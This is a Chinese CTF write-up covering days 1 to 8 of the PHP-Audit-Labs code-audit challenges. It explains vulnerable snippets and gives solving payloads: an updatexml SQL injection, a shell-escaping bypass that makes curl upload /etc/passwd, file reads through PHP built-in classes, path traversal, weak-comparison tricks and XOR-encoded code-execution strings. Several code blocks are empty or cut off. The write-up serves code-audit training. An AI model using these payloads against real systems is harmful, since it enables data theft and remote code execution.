PHP-Audit-Labs-CTF上篇
PHP-Audit-Labs-CTF上篇
前言
目前只做到第8题,后续再把其他的题目一起做完,这个CTF对想学习代码审计的同学还是比较有帮助的。推荐想学代码审计的同学把这十几题CTF做完,建议先自己动手和自己想思路,实在没有思路或者做不出再看解题思路
Day1
Code
解


id参数每次接收参数都会经过stop_hack函数进行过滤,但是过滤没有过滤干净,updatexml函数没有例如黑名单中,这是一个可利用的注入点。结束过滤后,会经过in_array的函数因此我们还需要绕过in_array函数

至于如何绕过,说起来也简单,这里的对比没有采用强匹配,所以使用1'即可绕过,因此payload应该为
1 | ?id=1’ and (select updatexml(1,make_set(3,'~',(select flag from flag)),1)) |

Day2
Code
1 | // index.php |
1 | // f1agi3hEre.php |
解:
需要绕过parse_url和preg_match 两个函数才能执行exec
parse_url 是以
://进行判断,://前面为协议,后面为hostpreg_match则是正则匹配,匹配url结束是否为sec-redclub.com
现在payload组合:xx:// 系统命令 sec-redclub.com
Payload
1 | linux: |
Day3
code
1 | #index.php |
解:
其实我做该题的时候一直在class_exists、sql_autoload_register反复横跳,但是经过查看手册和思考发现sql_autoload_register无法加载flag.php
我的目光又回到class_exists,但是无法绕过class_exists,经过长时间思考也得不到结果,后面上网查询发现可以利用php自带的类进行绕过并读取文件
我这里使用GlobIterator进行读取文件

现在先写一下我们的payload,后续在解释payload各个参数的意思
1 | ?name=GlobIterator¶m=*.*¶m2=1 |
现在试一下我们的payload

payload运行成功,成功获取其他php文件名,现在解释一下我们的payload参数
GlobIterator代表GlobIterator类*.*代表搜索的文件名(可用正则)1代表FilesystemIterator::CURRENT_AS_FILEINFO,0则代表FilesystemIterator::KEY_AS_PATHNAME
读取文件
这里我使用SplFileObject原生类进行读取文件内容

先写payload,后解释
1 | ?name=SplFileObject¶m=f1agi3hEre.php¶m2=r |
看下我们的payload是否能读取flag

ok,现在解释一下payload的意思
SplFileObject代表SplFileObject类f1agi3hEre.php代表打开的文件r代表打开的方式(权限)该题我觉得比较有意思,让我知道php的自带类也可以这么利用
Day4
该题目代码有点多,不合适放到文章中,点击链接自行下载
解:
在看源码的时候我刚开始是怀疑存在随机数漏洞的,但是后来查阅PHP手册发现这几个函数不存在随机数漏洞。
再然后我就把目光瞄到session上,后面看了一下代码,发现也没有相关漏洞,最后我看到对比的时候采用的是==,使用==会存在弱对比的情况,但是我测试时发现程序会将输入的值进行切片处理,没办法进行弱对比,后面发现是自己经验不足没想到使用数组类型输入来绕过切片处理
弱对比代码
1 | for($i=0; $i<7; $i++){ |
上述代码对比时由于使用==进行对比,该==的特定是只比较值,不比较类型,所以产生了弱对比,现在我们知道代码存在弱对比,开始利用,由于弱对比中true对比的结果都是true,有点类似数学中0×任何数都是0的意思,所以我们直接使用true进行对比


Day5
Code
1 | #index.php |
解:
变量覆盖
为了方便了解下面代码,先了解一下$$a的意思
PHP中$a为变量,$$a为可变变量
所谓的可变变量就是取变量的值作为这个可变变量的名,看下Demo就明白了
1 |
|

当请求发送到PHP时,foreach会一直循环获取GET、POST请求和Cookie信息(由于Cookie在下面没有任何作用,所以我会忽略Cookie请求)
1 | foreach(array('_POST', '_GET', '_COOKIE') as $__R) { |
(or代表或字的意思)
第一行代码循环检查是否存在GET or POST 请求然后将$__R值设置为_GET或_POST
1 | $__R = _GET or _POST |
第二行代码判断$$__R数据是否存在,这时候的$$__R值就应该是$_GET or $_POST了,这是$__R=_GET or _POST的原因
第三行代码将GET or POST请求数组分解为$__k和$__v,也就是
1 | $__k=flag |

第四行代码判断$$__k变量是否设置,同时$$__k等于$$__v就清除$$__k
php中存在一个特点,就是GET请求或者POST请求是可以共存的,我们可以利用这个特定进行绕过waf函数
当以GET请求发送flag=test同时以POST请求发送_GET[flag]=test,这时候
1 | $__R = "_POST" |
现在$$__k==$__v了,所以会清掉GET请求的['flag'=>'test'],现在只剩下$_POST[_GET[flag]=test],由于waf函数只有一个foraech所有到检测时$key=_GET就不会进到exit退出
看到extract函数
当POST经过extract时,数组中的_GET就会变成$_GET变量,这时候$_GET变量就又重新创建了
1 | if($_POST) extract($_POST, EXTR_SKIP); |
如果不熟悉extract函数的可以看下下面的mode
extract会将数组中的key值变成变量名,EXTR_SKIP参数则表示,前面存在此名的变量就不进行覆盖变量处理
1 |
|
md5判断,由于采用了弱对比,使用md5加密后以0e开头的纯数字就可以绕过了
加密前的payloads1502113478a s1885207154a
1 | if(md5($_GET['flag'] ) == md5($_GET['hongri'])){...} |
来到最终BOSSescapeshellarg、escapeshellcmd哼哈二将面前了,只要解决他们,我们就能获取flag
escapeshellarg在字符串周围添加一个单引号并引用\转义任何现有的单引号,在 Windows 上,escapeshellarg()用空格替换百分号、感叹号(延迟变量替换)和双引号,并在字符串周围添加双引号。此外,连续反斜杠 (\) 的每一连串都被一个额外的反斜杠转义。escapeshellcmd给下列| * ? ~ <> ^ () [] {} $ \ \x0A \xFF字符前面添加一个反斜杠,当单引号或双引号不是一整对时进行转义,在Windows上所有这些字符加上% !前面都有一个脱字符^由于
escapeshellcmd歧视单身的' ",不是成对的不会进行转义,我们只要输入一个'就能将之前的转义打乱,让我们后续的命令能跳出url

curl存在-F提交表单的方法,同时也可以提交文件,用法curl -F "web=@index.html;type=text/html" url.com
那么最终的payload为
1 | http://baidu.com/' -F file=@/etc/passwd -x localhost:1234 |

这个CTF 对目标的Curl 版本有要求,版本需要在7.19.7左右
Day6
虽然本题正则偏多,但是正则不是很难,难的是你对语言类型的深度了解,不过整体上该题还是挺有意思的,我挺喜欢的
code
1 | #index.php |
解:
本题的正则有不少,现在我们先看第一个正则
1 | if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) |
[[:graph:]]匹配任何可见字符串,除了空格{12,}匹配至少12次字符串/^正则开头$/正则结尾preg_match匹配成功会返回1,所以我们需要输入12个字符串aaaaaaaaaaaa跳出该if接着就是第二个正则
1 | $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; |
[[:punct:]]匹配标点符号[[:digit:]]匹配数字字符,范围[0-9][[:upper:]]匹配大写字母字符,范围[A-Z][[:lower:]]匹配小写字母字符,范围[a-z]preg_match_all匹配正则时找到第一个匹配后,从最后一个匹配的末尾进行后续搜索由于
preg_match_all的机制找到一个符合正则时就开始沿用最后一个匹配正则的原因,我们不能连段的都是同一个匹配范围,需要间隔,这时候我们的payload应该是aAaAaAaaaaaaa这样,程序才能继续往下走看到最后的正则
1 | $c = 0; |
该正则要求输入的内容在标点符号、数字字符、大写字母、小写字母四选三,现在payload应该是aAaAaA1aaaaaa
现在看到最后的代码
最后的判断需要输入的内容等于42
1 | if ("42" == $password) echo $flag; |
结合上面的所有条件,现在的payload需要满足标点符号、数字字符、大写字母、小写字母四选三同时最后的结果还要等于42
我们可以采用float来编写payload
float中可以用字母e或E来代表10的n次幂,如果不明白看下面的demo
1 |
|

最终payload:
1 | 42.0000e-0000 |

Day7
本题相比前面两题就相对简单许多,没有什么难点,不过也挺有趣
Code
1 | #index.php |
解:
index.php的代码不多,我直接把全部代码贴出来
1 |
|
parse_str将字符串解析为变量第六行代码是一个明显的
md5弱对比,md5弱对比值只要输入开头为0e的纯数字字符串就可以绕过了现在我们的
payload应该为?id=a[0]=s1502113478,输入payload就可以跳转到别的php页面了

uploadsomething.php的代码看起来挺多的,但是最重要的也就是5、6行
1 | $referer = $_SERVER['HTTP_REFERER']; |
HTTP_REFERER为http请求头中的跳转地址REMOTE_ADDR当前网页的host看到第2行代码,如果我们的
http请求中没有携带referer信息那么直接返回一串字符串,然后程序结束在点
a链接时会自动携带referer信息,这就是为什么在index.php会出现a链接的原因当携带由
referer创建由uploads/+sha1($_SERVER['REMOTE_ADDR'])/组成的目录我这里创建目录时可能因为权限问题,没有成功创建目录现在来到最后的代码
1 | if ((@$_GET['filename']) && (@$_GET['content'])) { |
file_put_contents函数会在前面生成的目录中创建一个由filename控制的文件,内容则是flag
可能因为权限问题创建目录失败,但是我们可以采用路径穿越让代码跳到当前目录创建
payload:?filename=../../12.txt&content=123
但是创建后flag只显示100毫秒,过了这个时间flag就消失换成字符串了,所以我们还需要一个脚本替我们去访问该网页
1 |
|

Day8
如果想做出该题,就需要了解php中异或(^)、取反(~)的概念,推荐看p🐂的文章,除了P🐂的还可以看信安之路的
Code
1 | #index.php |
解:
取反
看段代码

在
utf-8编码中,汉字都是由三个字节组成(Unicode范围由U+0800至U+FFFF),这就是为什么汉字经过utf-8编码会变成三个字节的原因\x代表的是utf-8编码,e5是unicode编码代码的意思229则是e516进制转成十进制的意思

再看段代码
1 |
|
妙的第二个值为166[0xa6],取反的值为-167
在16进制中,负数需要采用补码方式来表示,负数的补码是在16进制转二进制的值后将每位值都进行转反,除了符号位,比如1变成0,0变成1,然后再在末尾加上1

-167的16进制为0xFF59
php中chr函数只能有255个字符输出,每当超出255个字符就开始循环输出
比如16进制0xFF59转为10进制65369除255剩余89,然后ASCII编码中89是大写Y所以输出了Y

异或
异或运算也叫半加运算,其运算法相当不带进位的二进制加法
1 XOR 1 = 01 XOR 0 = 10 XOR 1 = 10 XOR 0 = 0看个
demo
1 | php > echo '['^'?'; |
[ ASCII编码为 91
? ASCII编码为 63
91、63转为二进制后分别是0101 1011、0011 1111
91、63二进制通过xor后的结果为100二进制是0110 0100
ASCII编码100是d,所以就是为什么[^?输出小写的d
ok,现在我们可以自己写payload
payload
1 | ?code=$_=%22[[[=,
第二题的多禁止一个_下划线,影响不大,使用拉丁文绕过即可

payload
1 | $ö="[[[=,